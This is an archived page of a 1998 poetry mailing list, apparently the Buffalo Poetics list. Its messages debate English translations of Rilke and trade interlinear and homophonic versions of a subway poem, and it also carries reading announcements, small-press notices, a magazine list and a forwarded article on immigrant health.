Herter-Norton's books were all published by WW Norton, interestingly. Very different, and in some ways opposite. Some quite fascinating turns in the treatment of the Sonnets to Orpheus...which are done like most of the poems without any attempt to reproduce the endrimes (or sometimes the meter).

These two translators were everywhere in used bookstores when i was growing up; no longer true now no doubt, but they will be pretty much ubiquitous in libraries of every type.

Poulin has taken some hits, and rightly, probably. But I found it very useful when Greywolf Press(?) put out his bilingual four volumes of Rilke's very extensive work in French. The poems (if bijoux and "small") are superb and are typical Rilke poems using the resources of French instead of German. French is a language i have some claim to being able to read, rather than just muddle thru; rilke as frog is worth checking out for anyone in the same boat.

Frankly i take it for granted that a poet as entirely himself and grounded in the physical specificities of his technique, as Rilke, cannot be gotten at too well in translators..altho' a multiplicity of translators helps. Personally, i find that german is not that hostile a language to muddle thru, in order to get at some of the feel of Rilke, Celan, and others. (Bilingual texts are the best way to start, for all that the english is never a trot but of course sometimes strays quite far from a literal rendering...)

Over the years i've glanced at the recent translators, who've been mentioned, though only cursorily. I haveta say i'm *not* very impressed, when they are set next to the ones i grew up with...Tho' i'm sure they have certain strengths..

Mark P.
@lanta

↑ Index

507. **Fred Muratori**
Hard Press Still With Us?
Wed 23 Sep 1998

Anyone know if Hard Press is still alive? It's been about a year since the last issue of _lingo_, and their Web site hasn't been updated in that time, either. Last I heard -- also about a year ago or longer -- was that they were in the midst of a fund-raising effort. (I've had a ms. under consideration there for *two years* because its fate is linked to the results of that effort.) It would be a shame if we were to lose such a fine outlet for innovative work. Which reminds me, I'd better get my Sun & Moon order in the mail...

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

508. **Douglas Barbour**
Re: carrying Rilke over into english
Wed 23 Sep 1998

Well George Bowering would never say this, for, while always enjoying a joke he's otherwise unwilling to blow his own horn too loudly,

but his terrific _Kerrisdale Elegies_ is a transmigration of Rilke that nevertheless manages to carry a lot of the mood of the original into a completely contemporary & Bowering-esque poetic sequence

(being Bowering he shifts the acrobats into baseball players: wonderful)

Douglas Barbour (h) [403] 4363320 (b) [403] [redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

How, but thru a monstrous 'specialism', the so-called authority
of erstwhile 'professionsals', have we come to leave
breath out of images and _images_ out of breath, anyhow?

Roy Kiyooka

↑ Index

509. Michael Kelleher
Reading
Wed 23 Sep 1998

Hello all,

This Sunday, September 27,
just buffalo Literary Center
begins its Writers at Work series
with readings by

Cecilia Vicuna
Jorge Guitart
Pablo Medina

Time: 2 p.m.
Place: Hallwall's, 2495 Main St.
Cost: $6 general, $5 Students, $4 members

See you there.

Mike

↑ Index

510. Gary Sullivan
Rilke en Neuva York?
Wed 23 Sep 1998

INBOUND, 9/23/98 (for D.B.)

Shit, I'm fucking late again & the subway reeks
albeit less than last week, at least
the air doesn't feel like it's strangling me

At least all the fruit I bought at the bodega
won't go bad today while I'm at work, at least
I can drink wine or brandy tonight
w/out feeling like I'm being strangled & need

to puke. At least I'm on the lease, & at last
can sit for an hour writing love letters & know

no heat from the concrete below will give
me vertigo, & at last the envelopes I fold each into
will have a return address, where each can be returned.

↑ Index

511. Gary Sullivan
Re: An interlinear translation
Wed 23 Sep 1998

Thanks, Jonathan. But, I realized, que hay solamente una correcion, last word, strike "return," add "rebuke." Gotta end on that harsh, Tuetonic-sounding "kuh." Muchas Gracias, --Gary

On Wednesday, September 23, 1998 11:48 AM, MAYHEW
[SMTP:[redacted]] wrote:
> On Wed, 23 Sep 1998, Gary Sullivan wrote:
>
> > INBOUND, 9/23/98 (for D.B.)
> >
> > Shit, I'm fucking late again & the subway reeks
> Joder, que llego otra vez con retraso e hiede el metro
> > albeit less than last week, at least
> aunque menos que la semana pasada, al menos
> > the air doesn't feel like it's strangling me
> el aire no siente ninUn deseo de estrangularme
> > At least all the fruit I bought at the bodega
> Al menos la fruta que comprE ayer en la bodega
> > won't go bad today while I'm at work, at least
> no se pudrirA hoy mientras trabajo, al menos
> podrE beber vino o conac esta noche
> > I can drink wine or brandy tonight
> > w/out feeling like I'm being strangled & need
> sin sentir que me estrangulen y que necesite
> > to puke. At least I'm on the lease, & at last
> vomitar. Al menos la casa estA en mi nombre y por fin
> > can sit for an hour writing love letters & know
> puedo sentarme un rato a escribir cartas de amor, sabiendo
> > no heat from the concrete below will give
> que ningUn calor subirA del asfalto dAndome
> > me vertigo, & at last the envelopes I fold each into
> vEertigo, y por fin los sobres en los que doblo cada una
> will have a return address, where each can be returned.
> tendrAn una direcciOn a la que puede ser devuelta.

>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]

↑ Index

512. Hilton Manfred Obenzinger

Re: metal

Wed 23 Sep 1998

Maria --

Don't forget the Book of Mormon scribed on its plates.

Hilton

↑ Index

513. MAYHEW

An interlinear translation

Wed 23 Sep 1998

On Wed, 23 Sep 1998, Gary Sullivan wrote:

> INBOUND, 9/23/98 (for D.B.)
>
> Shit, I'm fucking late again & the subway reeks
Joder, que llego otra vez con retraso e hiede el metro
> albeit less than last week, at least
aunque menos que la semana pasada, al menos
> the air doesn't feel like it's strangling me
el aire no siente ninUn deseo de estrangularme
> At least all the fruit I bought at the bodega
Al menos la fruta que comprE ayer en la bodega
> won't go bad today while I'm at work, at least
no se pudrirA hoy mientras trabajo, al menos
podrE beber vino o conac esta noche
> I can drink wine or brandy tonight
> w/out feeling like I'm being strangled & need
sin sentir que me estrangulen y que necesite
> to puke. At least I'm on the lease, & at last
vomitar. Al menos la casa estA en mi nombre y por fin
> can sit for an hour writing love letters & know

puedo sentarme un rato a escribir cartas de amor, sabiendo
> no heat from the concrete below will give
que ningUn calor subirA del asfalto dAndome
> me vertigo, & at last the envelopes I fold each into
vEertigo, y por fin los sobres en los que doblo cada una
 will have a return address, where each can be returned.
tendrAn una direcciOn a la que puede ser devuelta.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

514. Laura E. Wright

Re: Rilke

Wed 23 Sep 1998

Does anyone have the Berrigan English version of "Herbsttag" handy? I remember it
being... terrific.
Laura W.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
    *   *   *   *   *   *
"It is very much like it" -- Gertrude Stein

↑ Index

515. Gary Sullivan

Homophonic translation of Mayhew's Sullivan's Bromige's McIntyre's Rilke

Wed 23 Sep 1998

(for Tom Beard)

Joker, queue & let go all vexed cons, retry & hide the metro
"auntie" means. The Queen of Seamen persuades all melons
the air so sent nines, & does the strange arm
all menus the fruit queues. Compare air in the bodega w/yr
nose, pardner, hooey on mentors' traps, a whole menu
poodles beer in Vienna & O cognac & gnocchi
are "in." Centaur, queer me strangely, queer necessity's
vomit. All menus are causal, except in my numbers & poor fins'
speed. Central earn ratio a describer crates, these amorous sob endings
queue nonagon caller's Subaru. Tell asphalt dandle
vertigo, & my poor fin loss sobers in loss, queues doable caddie tuna,
tendriling tuna's direction & what the queer puked seer divugled.

↑ Index

516. David Baratier
bored non translator stasis
Wed 23 Sep 1998

Does any one know Valerie Fox's e-mail address.

VATICAN CITY (Reuters) - Vatican theologians have finished the draft of a major document in
which the Catholic Church will officially ask forgiveness for its past errors, possibly including the
Inquisition and its treatment of Poets. The Vatican said Wednesday its International Theological
Commission would meet next month to work on a document "on the relationship between the
Church and the errors of the past." The theologians will review a working draft of a document
ordered by Pope John Paul, who wants the Church of nearly a billion members to seek forgiveness
for the past as part of celebrations marking the millennium.

↑ Index

517. Ken Edwards
REALITY STREET EDITIONS - new books
Wed 23 Sep 1998

REALITY STREET EDITIONS
announces three new titles

* MAURICE SCULLY: STEPS

1-874400-15-6 £6.50 / $11 (estimated)
200 x 120mm paperback 72pp

Steps is book four of Maurice Scully's five-book set with the overall title of Livelihood. It is a work in three sections in verse and prose poetry, not a "collection" of discrete items but itself part of a large structure in which various steps are tested and taken to negotiate a survival worth having. Maurice Scully was born in Dublin in 1952. After some years in Italy, Africa and the west of Ireland, he re-settled with his wife and four children in Dublin, where he now teaches part-time at Dublin City University.

Funding from Eastern Arts Board gratefully acknowledged.

* KEN EDWARDS: FUTURES

1-874400-13-X £6.99 / $12 (estimated)
200 x 120mm paperback 160pp

Futures is Ken Edwards' first published novel. It traces the paths taken on her bicycle by the protagonist, Eye, across and out of an unnamed city in the wake of an event she can't remember. Her quest is to face her terror and retrieve the fragments of her life, which lie in the future that never quite arrives, until it does. Ken Edwards founded Reality Street Editions with Wendy Mulford. His poetry collections include _Good Science_ and _3,600 Weekends_.

* CRIS CHEEK & SIANED JONES: SONGS FROM NAVIGATION

1-874400-09-1 £12.50 / $25
125 x 142mm paperback 72pp
60-min. audio cd included

A CD/book event from a stunning text & music duo...

cris cheek demotic poet and performer. His research into song-poetry in Madagascar led to a Sony Gold Radio award in 1995. 'Vocalizations that seamlessly weld plummy Olivien Shakespeare to Hollywood demons, mournful blues to Madagascan laments ... able to pull through them texts that glimmer and shudder in social fierceness.' (Brian Catling)

sianed jones Welsh banshee queen of the distorted funk fiddle, with a voice to die for. 'Not so much accompanying herself on the violin, more using the instrument as a schizoid alter ego.' (The Independent)

'The Bait' (included here) is on an edge between de-construction and construction, to re-affirm the possibility of making meaning new again.

Funding from London Arts Board/Eastern Arts Board gratefully acknowledged.

You can order these books in the USA from:
Small Press Distribution

1341 Seventh Street
Berkeley
CA 94710

[redacted]
[redacted] (fax)

Editorial inquiries only:
RSE
4 Howard Court
Peckham Rye
London SE15 3PH
UK

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518. **J. Pecqueur**
Re: Rilke, Norton, and a new version
Wed 23 Sep 1998

The issue of translation is very interesting here (as well as elsewhere). The differention between "word for word" and "author's cadence" suggest one of those loads of ore that shall never be fully mined out.

Where this discussion pushes me, apart from the obvious what Rilke shall I read, is toward a comment Ron Silliman posted a while back. He stated that he was reading Faulkner straight through for the first time, and that there was more mind in one of Faulkner's sentences than in...

This thought--mind coursing through, inhering in, cadencing, a given work--has been pleasently bothering me. I felt it reading Hass's "Berkley Ecologue" the other morning and I felt it in "Biotherm" a few hours ago, but I have no formal way of talking about it. Norman Malcolm is no use here, and neither is Ryle. Wittgenstein perhaps? And is this the cadence that was mentioned earlier?

I really don't want to sound mystical here, but some thoughts won't leave until you've forced them out.

J.P.

↑ Index

519. **louis stroffolino**
Re: Rilke
Wed 23 Sep 1998

I wonder if those who don't
like stepehn mitchells' (or are actively disturbed

by them)
translations of rilke
prefer that guy whose name
i forget
who put the duino elegies in that wcw 3 step
toodle-loo shuffle mode
allegedly more beloved of
proper avant-gardistes
It seems no one's mentioning
Mitchell's DUINO elegies
but the earlier poems
and no i haven't read robert hunter's
translation yet
but i will say that
mithcell (though I don't know german)
made rilke work for me,
made him seem
less pretentious,
less easy-affirmation
more self-doubting, etc

than the BLY mode he's often
associated with
and the duncan mode
(joris did some interesting
translations too)

On Tue, 22 Sep 1998, Jessica Smith wrote:

> *I still think that Stephen Mitchell (whether man or machine) is a good translator. Both of the books I have also contain the Spanish (Neruda) and German (Rilke) untranslated. I know enough german and enough poetry to vie for Mitchell's translation of Rilke... it is poetic, it is a good, fair translation.*
>
> *Far too much complaining and snobbery go on on this list. Be fair. If you don't know German well enough to do your own translations, don't judge another's translations. If you have "heard" something about a translator, read him yourself before making judgemental statements. If Rilke does not sound enough like, say, Pound, to you, in a translation, well, that is because Rilke is not Pound.*
>
> *I think that no matter what translation you choose, you should try to obtain one with a side-by-side printing of German and English, so that when you are doing in-depth study of, say, diction, you can find out the connotations of the original words without depending on a middleman.*

> *J. Smith*

↑ Index

520. **Prageeta Sharma**
FALL CAFE READING!
Wed 23 Sep 1998

Hello everyone! Kyle Connor and Rachel Levitsky read poetry at The Fall Cafe, 307 Smith Street, Brooklyn, New York. Sunday, Sept. 27th @3pm. Please Come!!! Take F train to Carroll Street Station.

prageeta

↑ Index

521. **Jordan Davis**
mitchell and snow
Wed 23 Sep 1998

Just to second Chris's praise of Mitchell -- I don't mind the smoothing out of the crunchier parts, and the fallacy of imitative translation just about ruins poulin, mcintyre etc for me -- Snow's North Point New Poems and Uncollected Poems volumes strike me as not too bad --

all best --
Jordan, independent

↑ Index

522. **henry gould**
Re: mitchell and snow
Wed 23 Sep 1998

On Wed, 23 Sep 1998 15:39:34 -0400 Jordan Davis said:
>Just to second Chris's praise of Mitchell -- I don't mind the smoothing out
>of the crunchier parts, and the fallacy of imitative translation just about
>ruins poulin, mcintyre etc for me -- Snow's North Point New Poems and
>Uncollected Poems volumes strike me as not too bad --

As far as imitative - seems like the translator is trying to do at least two things - put up a model that reflects as many aspects of the original as possible - AND create an equivalent in which the translator's version gets to shine in its own ambience - the translator's language - so they're always going to be a resemblance & a difference. Maybe this has something to do with the "cadence"

thing somebody mentioned - Honig's Pessoa translations seem to have a Whitman cadence -

but that "difference" is actually a similarity on another level, since if the translator's ambient language doesn't shine it won't reflect the dazzle of the original - - Henry G.

↑ Index

523. **r.drake**
Re: Rilke
Wed 23 Sep 1998

> *translations of rilke*
> *that guy whose name*
> *i forget*
> *who put the duino elegies in that wcw 3 step*
> *toodle-loo shuffle mode*
> *allegedly more beloved of*
> *proper avant-gardistes...*

by David Young, editor of Field magazine....

↑ Index

524. **Eric Blarnes**
rilke
Wed 23 Sep 1998

In case anybody hasn't noticed, we're discussing this Rilke poem on the 1st day of autumn.

Here at Left Overbie University, the quince trees are palpitating in the mellow English vesperal lotion, the sparrows have all twittered off with the swallows & spaniels, the blonde on the strawpile is spinning her bellbottoms in fond memory of Mr. Chips, my nephew... season of fruitcakes & nutmeg...

- Eric Blarnes, O.big.M.Dizz.

↑ Index

525. **David Zauhar**
Re: Rilke
Wed 23 Sep 1998

Are we just talking about translations of Rilke's sonnets here? I'm sorry that the Leishman and Spender translation of the Duino Elegies are longgone and hard to find. I seem to remember Robert Duncan writing somewhere about how excited he was when they first came out, and how he and his friends pored over

the notes as if they were the Talmud. To me, the versions of the Elegies are my favorite in English, but I don't know German and can't really judge them as translations -- anyone want to confirm or set straight my perception here?

David Zauhar
University of Illinois at Chicago

"Who, if I cried, would hear me among the angelic orders?"

↑ Index

526. Laura E. Wright
Re: exercise
Wed 23 Sep 1998

I think this gets at the core of the Rilke/translation discussion:

MAYHEW wrote:

> *There is an exercise invented perhaps by Bernadette Mayer, which I found in In the American Tree: have your friend write poems in "your" voice. (Of course this would be a deliberate experiment and not a random mangling by some third party editor) What charmed me about the experiment was the idea that one would have all these poet friends who would both know one's work and be able to pull off a convincing imitation.*

That's what a "good" translation is -- a convincing imitation. Then, there's the elusive, mystical element: what's convincing? But I think this is a useful way to consider translation. We have to assume a translator's getting the meaning close enough. So, when you read the new version, are you convinced?

(Berrigan's got me, if we're voting, even if it's not what one might call accurate.)

Laura W.
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

527. **Leonard Brink**
NEW ON-LINE JOURNAL
Wed 23 Sep 1998

There's a new on-line journal, WINDHOVER, on the Instress site:

http://home.sprintmail.com/~windhover

The current (first) version features poetry by

Ray DiPalma
Leonard Brink
Gene Frumkin
Todd Baron
Nadine Maestas
Beth Anderson
John Olson
Rose Najia
Shannon Welch
Elizabeth Treadwell
Sheila E. Murphy
Peter Ganick

↑ Index

528. **Michael Scharf**
Re: Rilke
Wed 23 Sep 1998

Cats, mold, & Mitchell. The latter's Duino Elegies are, at best, misleading tonally, and at worst, flat-out wrong. (See the opening of his 8th.) I really like Gary Miranda's version, which I came across in an English-only edition from Azul [7804 Sycamore Dr. Falls Church VA 22042; more info on Amazon].

--Mike (pas du snob)

↑ Index

529. **BETSY ANDREWS**
bored into trouble
Wed 23 Sep 1998

What this list needs is a poem about the clitoris:

MY TERN

Implication? Ocean.
Athwart bastard fingers flying

blood-swan, halcyon, Leda's blessed
fuck. From the cay of tiny caverns from
cleft-wedged salt-splayed nest, my little
hoodlum hatches honking like a
goose. This lay is golden, wild
chase commensurate with intricate in-
vulgate song 200 million twelvemonths
long and horny as a beak, at your service
catching oysters, puffin, preening into wind;
dirty bride she struts the isle, raven-
ous cormorant phoenixing on matchstick
thighs burning from the humming-
bird beat of hurtled blood, to spite
Masters and Johnson, those Ordinary
Seamen, their boat docked on a moatful of
last night's frigid bath, who wage
subnaval battle armed with cross-
bow and game-cock. This is not an albatross.
It's my tern, little bird of secrets sent to rime
above the toilet water perfumed with fish.
Her darkest meat is swelling;
spread her wings, make a wish.

↑ Index

530. **Spencer Selby**
Mag List #62
Wed 23 Sep 1998

List of Experimental Poetry/Art Magazines P.O. Box 590095 San Francisco CA 94159 U.S. MAGAZINES ### A.BACUS, Peter Ganick, 181 Edgemont Ave, Elmwood CT 06110 ### AERIAL, Rod Smith, Box 25642, Wash D.C. 20007 ### AMERICAN BOOK REVIEW, Illinois St Univ. Campus Box 4241, Normal IL 61790 ### AMERICAN LETTERS AND COMMENTARY, Jeanne Beaumont, Anna Rabinowitz, 850 Park Ave Suite 5B, NY NY 10021 ### ARRAS, Brian Kim Stefans, 398 Manhattan Ave. Apt 2L, Brooklyn NY 11211 ### ARSHILE, Mark Salerno, Box 3749, L.A. CA 90078 ### THE ATTIC, Don Hilla, 300 Vicksburg #5, San Francisco CA 94114 ### BIG ALLIS, Melanie Neilson, 11 Scholes St, Brooklyn NY 11206 ### BIG BRIDGE, www.bigbridge.org ### BOOGLIT, David Kirschenbaum, Box 20531, New York NY 10011 ### CHAIN, Juliana Spahr, Dept of English, Univ of Hawaii-Manoa, 1733 Donaghho Rd, Honolulu HI 96822 ### CHICAGO REVIEW, 5801 S. Kenwood, Chicago IL 60637 ### CHLOROFORM, Nick Lawrence & Alisa Messer, 70 Cottage St, Buffalo NY

14201 ### CLWN WR, Box 2165, Church St Station, NY NY 10008 ### COLUMBIA POETRY REVIEW, English Dept of Columbia College, 600 South Michigan Ave, Chicago IL 60605 ### COMBO, Michael Magee, 31 Perrin Ave, Pautucket RI 02801 ### CONJUNCTIONS, 33 W. 9th St., NY NY 10011, www.conjunctions.com ### CRAYON, Andrew Levy, 144 Union St, 2nd Floor, Brooklyn NY 11231 ### CROSS-CULTURAL POETICS, Mark Nowak, 601 25th Ave South, Minneapolis MN 55454 ### DENVER QUARTERLY, Dept of English, U. of Denver, Denver CO 80208 ### DIFFFERENCE ENGINE, Christopher Meyers, members.tripod.com/~demeyers/index.html ### DIRIGIBLE, David Todd, 101 Cottage St, New Haven CT 06511 ### DISPLACE, DISTANCE CARRIER, KIOSK, English Dept., SUNY at Buffalo, Buffalo NY 14260 ### EAST VILLAGE POETRY WEB, www.theeastvillage.org ### ELECTRONIC POETRY CENTER (including RIF/T Magazine), Loss Glazier, writing.upenn.edu/epc ### THE END REVIEW, Scott Keeney, 464 Somerville Ave #5, Somerville MA 02143 ### ETCETERA, Mindi Englart, Box 8543, New Haven CT, 06531 ### EXILE, Gary Sullivan, 331 13th St #4L, Brooklyn NY 11215 ### EXPERIODICIST, Jake Berry, 111 Teks St, Florence AL 35633, [redacted] ### EXPLOSIVE MAGAZINE, Katy Lederer, 420 Davenport St #2, Iowa City IA 52245 ### FAUCHEUSE, [redacted] ### FELL SWOOP, 3003 Ponce De Leon St, New Orleans LA 70119 ### FIRST INTENSITY, Lee Chapman, Box 665, Lawrence KS 66044 ### FIVE FINGERS REVIEW, Box 12955, Berkeley CA 94712 ### FLASHPOINT, webdelsol.com/Flashpoint/ ### GENERATOR, John Byrum, 3503 Virginia Ave, Cleveland OH 44109 ### THE GERM, Macgregor Card & Andrew Maxwell, Box 8501, Santa Cruz CA 95061 ### GESTALTEN, Paul Silvia, 1207 W. 19th St, Lawrence KS 66046 ### GRAND STREET, 131 Varick St, Room 906, New York, NY 10013 ### GRIST ONLINE, (Including ANABASIS, CYANOBACTERIA, LIGHT & DUST, ROOM TEMPERATURE) www.thing.net/~grist/ ### HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060 ### HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918 ### HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107 ### IDIOM, www.dnai.com/~idiom ### THE IMPERCIPIENT LECTURE SERIES, Steve Evans & Jennifer Moxley, #9 rue Quinault, Paris, 75015 France ### INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114 ### INSCAPE, Leonard Brink, Box 3124, Saratoga CA 95070 ### INTERLOPE, Summi Kaipa, 824 E. College St, Iowa City IA 52240 ###)ISM(, D. Michael McNamara, 1514 16th Ave #2, Seattle WA 98122 ### JUXTA, Jim Leftwich, 1512 Mountainside Ct, Charlottesville VA 22903 ### KENNING, Patrick Durgin, 418 Brown St #10, Iowa City, IA 52245 ### KEY SATCH(EL), Gian Lombardo, Box 363, Haydenville MA 01039 ### KOJA, M. Magazinnik, 7314 21st Ave #6E, Brooklyn NY 11204 ### LILLIPUT REVIEW, Don Wentworth, 282 Main St, Pittsburgh PA 15201 ### LINGO, Box 184, West Stockbridge MA 01266, hardpress.com ### LIPSTICK ELEVEN, Kathy Lou Schultz,

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531. **Safdie Joseph**

Re: even more rilke

Wed 23 Sep 1998

Yes, as to poring over Leishman's notes to the Elegies and Sonnets . . . some of the most remarkable stuff I ever read, the acme of German Romanticism (or something) -- easy to see why Duncan would have liked them. The translations, though, I remember as less impressive.

I come down on the side that wants more from Mitchell's Rilke versions, and Mitchell's translations in general -- that is, I keep WANTING more, and it really isn't there. But there is a very nice introductory essay in that edition by Robert Haas, which I think is another thing Jonathan asked about in his introductory query.

I'm very interested that Rilke seems to be a . . . constellation . . . in people's reading (in the sense of Spicer's tree, Olson, the English Dept., etc.). Who would have guessed? I pick him up every couple of years or so and usually wind up getting enraged and literally throwing the book against the wall. He finally doesn't seem to be writing to me. And yet, and yet . . .

All this autumn talk (and the poem) made me think of "season of mists and mellow fruitfulness" and "ripeness to the core" -- anyone got the Keats poem around?

So . . . no one knows of a reading series with an open space in the Pacific Northwest next month for Duncan McNaughton? Too bad!

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532. David Baratier
Re: the general plight
Wed 23 Sep 1998

Mark-- Most of your questioning below is covered within _Street Lives: An oral history of homeless Americans_ by Steven Vanderstaay with photos by Joe Sorrentino its a phenomenal resource on the line between homelessness, mental stability, ethicity & etcetera.

Be well

David Baratier

My one methodological question is that we're not told how mental health histories were determined and whether the diagnostic standards were constant. But this seems pretty sound from what we're told here. Note the
tendency not to go beyond the extended family in seeking explanations--the
bias towards defining the primary unit as the individual in the US version
of capitalist society, and the social forces that actualize that
definition, are so extreme that even moving towards defining the family as
unit is fairly recent and almost revolutionary. My guess is that anyone who
grew up in an immigrant community, as I did, would tell you that the
boundary between family and community was porous to the point of being on
occasion almost non-existent, as it is in many other societies. The loss of
that cohesion and its replacement by a system of social rewards and status
based on income rather than utility to the group or even pleasure in the

task might go a long way to answering the mystery. Although hard to devise
an experiomental model to test that hypothesis.
But hey, what am I suggesting? That it takes a village to raise a child?

I
must be a commie.

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533. **Mark Weiss**
the general plight
Wed 23 Sep 1998

Here's an article from this week's Science News which I think speaks volumes about the state of these U. States. (n.b. Science News is a very useful 16 page weekly for the scientifically curious but semiliterate, among whom I include myself)

[IMMIGRANTS GO FROM HEALTH TO WORSE

People from around the world flock to the US expecting to find a better life. But to scientists' surprise, a growing body of evidence indicates that increasing familiarity with US culture and socioety renders immigrants and their children susceptible to many mental and physical ailments, even if they attain financial success. The latest study of this phenomenon, directed by epidemiologist William A. Vega of the U. of Texas, San Antonio finds much higher rates of depression, substance abuse, and other mental disorders in US-born Mexican-Americans compared with both recent and long-standing immigrants. This pattern held regardless of education or income levels. Vega's results, published in the September _Archives of General Psychiatry_, appear at the same time as the release of a national report on declining physical and mental health in children of immigrant families. A panel convened by the National Research Council and the Institute of Medicine, both in Washington, DC, reviewed previous studies and concluded that assimilation into a US lifestyle may undermine the overall health of immigrant children much more than being poor does. In contrast, studies of nonimmigrant US residents usually link poverty to poor physical and mental health. "The material on immigrant health shocked me when we first reviewed it," says panel member Arthur M. Kleinman, a psychiatrist and anthropologist at Harvard Medical School in Boston. "Vega's study is consistent with the panel's conclusion that immigrants' health deteriorates with assimilation to US society," declining toward general US norms, says Kleinman. Other studies have indicated that citizens of many countries, including Mexico, are healthier overall than US citizens. Vega's team interviewed 3,012 adults of Mexican origin, ages 18 to 59, living in Fresno County, CA. Of that number, 1,810 people identified themselves as immigrants. Interviews were in English or Spanish. Interviewers expressed an interest in health issues only and trioed to minimize any tendency of participants to lie--due to US residency concerns--about having immigrated. Nearly 1/2 of US-born Mexican-

Americans had suffered from at least one of 12 psychiatric disorders at some time in their lives, compared with only 1/4 of the immigrants. Common mental conditions in US-born individuals included major depression, phobias and other anxiety disorders, and substance abuse and dependence. Prevalence rates for mental disorders were lowest for those who had immigrated with the past 13 years. The higher rates found among immigrants of 13 or more years still fell considerably below those for the native-born group. Immigrants may constitute a hardy group willing to carve out new lives in a foreign land. However, immigrants in Vega's study showed mental-disorder rates similar to those of Mexico City residents. A related study of 1,500 public health care users in California, conducted by psychiatrist Javier I. Escobar of the RWJ Medical School in Piscataway, NJ, reports lower rates of depression and post-traumatic stress disorder, as well as better physical health, in Mexican and Central American immigrants than in US-born Hispanics. Nonetheless, immigrants were poorer than the US natives, Escobar's team reports in an upcoming _British Journal of Psychiatry_. Physical and mental health advantages for immigrant families vanish by the third generation of children born in the US, according to the panel report. Reasons for the initial strength and later decline of immigrants' health are not clear, says Vega's group. Close-knit extended families and cultural injunctions to eat nutritious foods and avoid drugs and divorce may safeguard the health of recent immigrants from Mexico, Escobar suggests. Increasing social isolation and loss of stable religious affiliations may later herald health declines, Kleinman proposes.]

My one methodological question is that we're not told how mental health histories were determined and whether the diagnostic standards were constant. But this seems pretty sound from what we're told here. Note the tendency not to go beyond the extended family in seeking explanations--the bias towards defining the primary unit as the individual in the US version of capitalist society, and the social forces that actualize that definition, are so extreme that even moving towards defining the family as unit is fairly recent and almost revolutionary. My guess is that anyone who grew up in an immigrant community, as I did, would tell you that the boundary between family and community was porous to the point of being on occasion almost non-existent, as it is in many other societies. The loss of that cohesion and its replacement by a system of social rewards and status based on income rather than utility to the group or even pleasure in the task might go a long way to answering the mystery. Although hard to devise an experiomental model to test that hypothesis. But hey, what am I suggesting? That it takes a village to raise a child? I must be a commie.

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534. **david bromige**
not the last word on Rilke. . .
Wed 23 Sep 1998

My vote goes for the Leishman-Spender of the Duinos. The chief flaw is that they are a bit breathy, or breathless, too exclamatory, a tad adolescent. Leishman, or Spender? I suspect the latter, though I don't know the whole story of the enterprise--has it been written down anywhere? Rilke's tone is quieter and graver, with none of the hysteria in the L-S. But otherwise, tonally, cadence-wise, and word for word, phrase for phrase, they accomplished an impressive task. I hadn't realized it is now o-p and in short supply. Too bad. David

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535. **David Baratier**
Re: the general plight
Wed 23 Sep 1998

Out here we have space for sure, one place, two place, three place and so on.

also, beer gardens of midwest, as long as they are a sort of family venue, rather than uproarious places for college students to vigorously and unpleasantly recycle intoxicants ("you don't own beer, you only rent it for a while...").

David Baratier
Columbus, OH

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536. **David Baratier**
Re: the general plight (ignore last)
Wed 23 Sep 1998

Buddy, out here we have space for sure, one place, two place, three place and so on. Never understood that east-coast people who need people hooey. Far as this goes:

also, beer gardens of midwest, as long as they are a sort of family venue, rather than uproarious places for college students to vigorously and unpleasantly recycle intoxicants ("you don't own beer, you only rent it for a while...").

Reckon I've never heard of no beer garden. You meanin a bowlin alley? Or a drive-in Theee-Ater? Or you liken a friday motorweigh & a pistle rannge? Must be some pEEculiar plants there betcha. Tell my mama about nothing grows on trees. Yeah buddy, Gotta get me one of them. Sounds real spooky.

David Baratier
Cluum-bus, OhiA

↑ Index

537. Travis Andrew Ortiz
SF Reading / Travis Ortiz and Sarah Rosenthal
Wed 23 Sep 1998

melodeon poetry systems is pleased to announce a reading to celebrate the release of

geography of parts
by Travis Ortiz

AND

not-chicago
by Sarah Rosenthal

7:30 PM Thursday, September 24
at the New College of California Theater
777 Valencia Street (between 18th and 19th)

the books will be available for $6.00 each.

↑ Index

538. Todd Baron /*/ ReMap
[Fwd: Re: Remap ing the horizon with theme]
Wed 23 Sep 1998

by tern.prod.itd.earthlink.net (8.8.7/8.8.5) with ESMTP id GAA08841
for <[redacted]>; Wed, 23 Sep 1998 06:28:02 -0700 (PDT)
by ns.infotechsys.com (Post.Office MTA v3.5.1 release 219
ID# 120-52124U500L100S0V35) with ESMTP id com
for <[redacted]>; Wed, 23 Sep 1998 09:26:22 -0400
(Post.Office MTA v3.1 release PO203a ID# 120-36333U500L100S0)
with SMTP id AAA153 for <[redacted]>;
Wed, 23 Sep 1998 09:24:51 -0400
id <[redacted]>; Wed, 23 Sep 1998 09:29:34 -0400
From: Carolyn Kemp <[redacted]>
To: "'[redacted]'" <[redacted]>
Subject: RE: Remap ing the horizon with theme
Date: Wed, 23 Sep 1998 09:29:27 -0400

very quickly at my work desk:

What I think - we know - it's about "about" just as you articulated so = architectually, I fear your drift may be lost or diffused on arch. = ignoramuses - but shouldn't be.

It's about learning too, in the way poetry informs, or what is revealed = only through language or the writing of it, what the reader "learns" = about "politics" and how poetry informs or resonates with that concept. = The writer, too, may find alternative resonances in their work when = connected, however loosely, with a thematic idea.

Further, by choosing love, food, nature, etc. - all words worn and = rendered indistinct by use and misuse, we can refresh them, or come to a = fresh use ala Stein by placing poems next to them.

C

Carolyn Kemp
Dir. of Corporate Marketing Comm.
Transition Systems, Inc.
[redacted]

-----Original Message-----
From: Todd Baron /*/ ReMap [SMTP:[redacted]]
